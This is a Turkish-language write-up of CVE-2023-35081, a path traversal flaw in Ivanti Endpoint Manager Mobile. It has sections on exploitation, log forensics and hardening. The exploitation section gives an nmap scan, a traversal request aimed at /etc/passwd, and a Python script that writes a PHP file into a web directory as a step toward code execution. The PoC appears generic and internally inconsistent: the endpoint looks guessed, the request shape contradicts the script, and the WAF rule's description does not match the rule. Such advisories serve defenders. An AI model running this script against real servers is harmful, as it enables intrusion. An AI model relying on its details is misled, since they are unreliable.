CVE-2023-35081: Ivanti Endpoint Manager Mobile (EPMM) Path Traversal Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

Ivanti Endpoint Manager Mobile (EPMM) ürününde tespit edilen CVE-2023-35081, ciddi bir path traversal (yol gezintisi) zafiyeti olarak karşımıza çıkıyor. Bu zafiyet, yetkilendirilmiş bir yöneticinin kötü niyetli dosya yazma işlemleri gerçekleştirmesine olanak tanıyor. Geçmişte benzer zafiyetlerin neden olduğu veri ihlalleri ve sistem manipülasyonları göz önüne alındığında, bu tür güvenlik açıklarının dikkate alınması son derece kritik hale geliyor.

Path traversal zafiyeti, genellikle dosya sistemlerinin dışına sızmayı sağlayan bir güvenlik açığı türüdür. Temel olarak, saldırganın dosya yollarını manipüle etmesine izin verir, bu da zararlı dosyaların belirtilmemiş veya güvenli olmayan dizinlere yazılmasına olanak tanır. Bu tür bir zafiyet, özellikle yetkilendirmelerin ve erişim kontrol listelerinin (ACL) atlatılmasına yönelik saldırılarda önemli bir araç haline gelebilir. Örneğin, CVE-2023-35078 ile birleştirildiğinde, saldırgan kimlik doğrulama (auth bypass - kimlik atlatma) işlemini geçebilir ve daha fazla zarar verecek işlemler yapabilir.

CVE-2023-35081'in teknik detaylarına gelecek olursak, sorun Ivanti EPMM'nin dosya yönetimi ile ilgili bir kütüphanesinde yer alıyor. Bu zafiyet, “..” (üst dizin) gibi karakter dizelerini kullanarak, sistem üzerinde yetkilendirilmiş işlemlere karşı falsolu bir güvenlik açığı oluşturuyor. Saldırgan, yöneticinin oturumunu kullanarak sunucunun dosya sisteminde gezinebilir ve istenmeyen değişiklikler yapabilir.

Gerçek dünya senaryolarında, bu tür zafiyetler çeşitli sektörlerde ciddi sonuçlar doğurabilir. Örneğin, sağlık, finans ve eğitim gibi verilerin yoğun şekilde korunduğu alanlarda bir saldırı, kritik bilgilerinin sızmasına yol açabilir. Ayrıca, zafiyetin etkilediği her sektörde, güvenlik standartlarının ihlal edilmesi, müşteri güveninin kaybolmasına ve sonuçta maddi kayıplara sebep olabilir. Saldırganlar, arka planda kötü amaçlı yazılımlar kurarak sistem üzerinde tam kontrol sağlamak isteyebilirler.

Zafiyetin sistemlerde oluşturabileceği bir başka senaryo da, ransomware (fidye yazılımı) türü saldırılardır. Saldırganlar, bu tür bir zafiyet sayesinde sistemdeki dosyaları şifreleyerek kullanıcıları fidye ödemeye mecbur bırakabilir. Bu durum, özellikle işletmelerin kriz anlarında ne kadar büyük kayıplara uğrayabileceğini gözler önüne seriyor. Özellikle EPMM gibi yönetim araçlarına sahip olan tüm işletmeler, bu zafiyet karşısında dikkatli olmalı ve güncellemeleri gerçekleştirmelidir.

Sonuç olarak, CVE-2023-35081 gibi zafiyetler, siber güvenlik alanında karşımıza çıkan mücadelelerin sadece bir örneğidir. Gelişmiş tehdit ortamında, çok katmanlı güvenlik stratejilerine sahip olmak ve sürekli güvenlik testleri yapmak, sadece zafiyetleri ortadan kaldırmakla kalmayıp aynı zamanda işletmelerin itibarını ve veri güvenliğini sağlamaları açısından kritik bir öneme sahiptir. CyberFlow gibi platformlar, bu tür açığı tespit edip raporlayarak, güvenli bir siber ortam yaratmaya yardımcı olabilir. Bu bağlamda, sürekli eğitim ve sistem güncellemeleri, uzun vadeli güvenlik stratejilerinin en önemli parçaları olmalıdır.

Teknik Sömürü (Exploitation) ve PoC

Ivanti Endpoint Manager Mobile (EPMM) içindeki CVE-2023-35081 zafiyeti, bir yetkili yönetici tarafından kötü niyetli dosya yazma işlemlerine izin veren bir yol geçişi (path traversal) açığını barındırmaktadır. Bu açıklık, potansiyel olarak sisteme zarar verebilecek yüklü dosyaların dışındakilere erişim sağlamak için kullanılabilir. Ayrıca, CVE-2023-35078 ile birleştirildiğinde kimlik doğrulama (authentication) ve ACL (Access Control List) kısıtlamalarının aşılması sağlanabilir. Bu makalede, bu zafiyetin sömürü aşamalarını detaylı bir şekilde ele alacağız.

İlk adım, Ivanti EPMM sunucusuna erişim sağlamak ve etkilenen sürümün bulunduğundan emin olmaktır. EPMM'nin ağı üzerindeki IP adresi ile başlayarak, bu hizmetin açık olduğunu doğrulamak amacıyla Nmap veya benzeri bir ağ tarayıcı kullanabilirsiniz. Hedef IP adresini tarayın ve EPMM'nin kullanmakta olduğu portları belirleyin. Örnek bir Nmap komutu şu şekildedir:

nmap -p 443 [Hedef_IP]

Gerekli portları belirledikten sonra, bu portlara HTTP(S) istekleri göndermeye başlayabiliriz. Sunucuya erişim sağlamak için, bir web tarayıcısı veya cURL gibi bir araç kullanarak EPMM arayüzüne giriş yapın. Kimlik bilgilerini sağladıktan sonra, sunucunun dosya sistemine yönelik yol geçişi açıklarını test etmeye geçebiliriz.

Aşağıdaki HTTP isteği, özelleştirilmiş bir dosya yolunu kullanarak zafiyeti test etmek için örnek bir yaklaşım sunar. file parametresi ile hedef dosyaya erişim sağlandığını varsayıyoruz:

POST /api/v1/files?file=../../../../etc/passwd HTTP/1.1
Host: [Hedef_IP]
Authorization: Bearer [Token]
Content-Type: application/json

Bu örnek istek, /etc/passwd dosyasına erişmeye çalışmaktadır. Eğer sunucu yanıt olarak dosya içeriğini dönerse, bu açık başarılı bir şekilde sömürülmüş demektir. Artık bunun üzerine daha kötü niyetli işlemler eklemek mümkündür.

Eğer kimlik doğrulama ve ACL kısıtlamaları aşılmışsa, bu durumda kötü niyetli yükler (malicious payload) yükleyebilirsiniz. Aşağıda, bir Python exploit taslağı ile sunucuda bir dosya oluşturma işlemini otomatikleştiriyoruz:

import requests

target_url = "https://[Hedef_IP]/api/v1/files"
token = "[Token]"

payload = {
    "file": "../../../../../../var/www/html/uploads/malicious_file.php",
    "content": "&lt;?php phpinfo(); ?&gt;"
}

headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

response = requests.post(target_url, json=payload, headers=headers)

if response.status_code == 200:
    print("Malicious file uploaded successfully!")
else:
    print("Failed to upload malicious file.")

Bu kod parçacığı, hedef sunucuya kötü niyetli bir PHP dosyası yüklemek için kullanılabilir. Başarılı bir şekilde yüklendiğinde, uzaktan kod yürütme (RCE - Remote Code Execution) gibi ciddi tehditler oluşturur. Bu durum, siber saldırganların hedef sistem üzerinde tam kontrol elde etmesine olanak sağlar.

Sonuç olarak, CVE-2023-35081 zafiyetinin teknik detayları ve potansiyel etkileri üzerine yapılan bu inceleme, Ivanti EPMM kullanıcılarının sistemlerini korumak için acil önlemler alması gerektiğini vurgulamaktadır. Güvenlik duvarı ayarları, güncellemeler ve kullanıcı eğitimi gibi önlemlerle bu tür açıkların sömürü potansiyeli en aza indirilebilir. Bilgiyi güvenli bir biçimde yönetmek, tüm kuruluşların önceliği olmalıdır.

Forensics (Adli Bilişim) ve Log Analizi

Son yıllarda siber güvenlik alanında yaşanan tehditler, şirketlerin hassas verilerini koruma hedefini daha da zorlaştırmaktadır. Özellikle Ivanti Endpoint Manager Mobile (EPMM) gibi popüler yönetim araçlarındaki zafiyetler, kötü niyetli aktörlerin eline geçebilecek fırsatlar sunmaktadır. CVE-2023-35081 zafiyeti, bir path traversal (yol traversi) açığı olup, kimliği doğrulanmış bir yöneticinin EPMM sunucusuna kötü niyetli dosya yazmasına olanak tanımaktadır. Bu tür zafiyetler, genellikle siber güvenlik uzmanları tarafından çok ciddi şekilde değerlendirilmektedir.

Siber güvenlik uzmanları, bir saldırının gerçekleştiğini tespit etmek için genellikle SIEM (Security Information and Event Management) sistemlerini veya log dosyalarını kullanır. Bu bağlamda, CvE-2023-35081 zafiyetine özgü olarak, kontrol edilmeli bazı kritik loglar ve imzalar vardır. Öncelikle, erişim logları (Access logs) analize tabi tutulmalı, açık kaynakların ve kullanıcı aktivitelerinin incelemesi yapılmalıdır.

Log dosyalarında aranacak en önemli parçalar şunlardır:

Dosya Yazım İlgili Loglar: Path traversal açığı, belirli dosya ve dizinlerde yetkisiz yazma işlemleri gerçekleştirilmesine olanak sağlar. Bu tür aktiviteler, özellikle dosya yazma logları içerisinde "write" veya "upload" gibi terimleri içeren anormal kayıtlar ile tespit edilebilir. Aşağıdaki gibi bir log kaydı, potansiyel bir saldırıyı işaret edebilir:

   [YYYY-MM-DD HH:MM:SS] USER: admin ACTION: WRITE FILENAME: /var/www/html/uploads/malicious_file.php

Hata Logları (Error Logs): Bir saldırgan dosya erişiminde ve yazımında sorunlarla karşılaşabilir. Hata loglarında görmek gereken kritik hatalar arasında "403 Forbidden" ve "404 Not Found" gibi HTTP hataları bulunabilir. Bu hataların sıklığı, saldırının varlığını tespit etmede yol gösterici olabilir.
Kullanıcı Kimlik Doğrulama ve İzin Logları: CVE-2023-35078 gibi zafiyetlerle harmanlanmış bir saldırı senaryosunu analiz ederken, kullanıcıların kimlik doğrulama süreçleri ve ACL (Access Control List) izinleri de detaylıca incelenmelidir. Bu logları analiz ederek, kimlik doğrulama bypass (kimlik doğrulama atlatma) işlemlerinin varlığını tespit etmek mümkündür.
Anomalik Davranış İmzası: Normal kullanıcı davranışlarının ithamı, siber saldırıların en belirgin belirtilerindendir. SIEM sistemlerinde “normal” olarak belirlenen kullanıcı aktiviteleri veya yöntemleri ile karşılaştırılan logların incelenmesi, saldırganların sistemi manipüle ettiğini ortaya koyabilir.

Son olarak, bir siber güvenlik uzmanı olarak, bu tür log analizlerini otomatik hale getirmek ve anormal aktivitelerde uyarı verecek şekilde SIEM sistemlerini konfigüre etmek son derece önemlidir. Gelişmiş analitik araçları ve yapay zeka ile desteklenen sistemler, gerçek zamanlı olarak veriler üzerinde analiz yaparak potansiyel tehditlerin hızlıca tespit edilmesine olanak tanıyabilir. Böylelikle, yalnızca zafiyetlerden etkilenmeyi engellemekle kalmayıp, aynı zamanda güvenlik duruşunu da bir üst seviyeye çıkarmış oluruz.

Savunma ve Sıkılaştırma (Hardening)

Ivanti Endpoint Manager Mobile (EPMM) üzerindeki CVE-2023-35081 path traversal (yol geçişi) zafiyeti, yetkili bir yöneticinin EPMM sunucusuna kötü amaçlı dosya yazmak için kullanılabilen bir açığı temsil ediyor. Bu tür zafiyetler, kötü niyetli kişilerin sistem üzerinde tam kontrol elde etmesine olanak tanıyan ciddi sorunlara yol açabilir. Özellikle, bu zafiyetin CVE-2023-35078 ile birleştirilerek kimlik doğrulama ve ACL (Erişim Kontrol Listesi) kısıtlamalarının aşılmasına hizmet edebilmesi, durumu daha da tehditkar kılmaktadır.

Gerçek dünya senaryolarında, bir siber saldırgan bu tür bir açığı kullanarak sistemde yetkisiz erişim sağlayabilir ya da hassas dosyalara zarar verebilir. Örneğin, bir siber suçlu, EPMM sunucusuna yetkili bir yönetici gibi giriş yaptıktan sonra, aşağıdaki gibi bir dosya yolunu kullanarak zararlı bir script yükleyebilir:

../../../../etc/passwd

Bu örnekte, saldırgan doğrudan sistem dosyalarına erişim sağlamaya çalışmaktadır. Zafiyetin istismarını önlemek için, siber güvenlik uzmanları ve sistem yöneticileri, aşağıdaki sıkılaştırma ve savunma stratejilerini uygulamalıdır.

İlk olarak, sistemdeki dosya ve dizin izinlerinin doğru bir şekilde yapılandırıldığından emin olunmalıdır. Dosyaların ve dizinlerin sadece gerekli izinlere sahip olduğundan emin olmak, zafiyetin etkisini azaltan en önemli adımlardan biridir. Özellikle, sadece gerekli kullanıcı ve gruplara yazma izinleri verilmeli, diğer tüm kullanıcılar için bu izinler kaldırılmalıdır.

Ayrıca, Web Uygulama Güvenlik Duvarı (WAF) kullanmak, path traversal gibi saldırılara karşı ek bir savunma katmanı sağlar. Aşağıdaki gibi WAF kuralları uygulanabilir:

SecRule REQUEST_FILENAME "@contains .." \
"phase:2,id:1000001,deny,status:403,log,msg:'Path Traversal Attack Detected'"

Bu örnek kural, gelen isteklerde "…" karakter dizisini içeriyorsa isteği yasaklar ve bir kayıt oluşturur. Böylece, potansiyel bir saldırı anında sistemin koruma mekanizması devreye girmiş olur.

Sisteminizdeki uygulamaların güvenlik güncellemeleri ile daima güncel tutulması kritik bir öneme sahiptir. Ivanti'nin sağladığı güncellemeleri düzenli olarak kontrol etmek ve güncelleştirmek, bu tür zafiyetlerin istismarını önlemekte önemli rol oynar. Güvenlik yamalarının zamanında uygulanması, olası RCE (Remote Code Execution - Uzaktan Kod Çalıştırma) saldırılarını da azaltır.

Ayrıca, ağ izleme sistemleri kurulmalı ve güncel güvenlik tehditleri ile ilgili bilgi paylaşımları takip edilmelidir. Bu tür sistemler, potansiyel bir saldırganın etkinliklerini erkenden tespit etmeye yardımcı olabilir. Logs (günlük dosyaları), saldırı geri bildirimleri ve anormal aktiviteler için düzenli olarak incelenmeli, bu durumlar hakkında ilgili ekipler bilgilendirilmelidir.

Son olarak, kullanıcı eğitimleri ve farkındalık programları düzenlemek, zafiyetleri azaltmada etkili bir stratejidir. Kullanıcılar, kimlik avı, şifre güvenliği ve sosyal mühendislik gibi konularda bilgi sahibi olursa, insan kaynaklı hataların sayısı asgari düzeye çekilebilir.

Bu tür önlemlerle, Ivanti Endpoint Manager Mobile (EPMM) üzerindeki CVE-2023-35081 gibi zafiyetlerin istismarının önüne geçmek mümkün hale gelecektir. CyberFlow platformu gibi gelişmiş çözümlerle birlikte, siber güvenlik hedeflerinize ulaşmak için sağlam bir savunma sistemi oluşturabilirsiniz.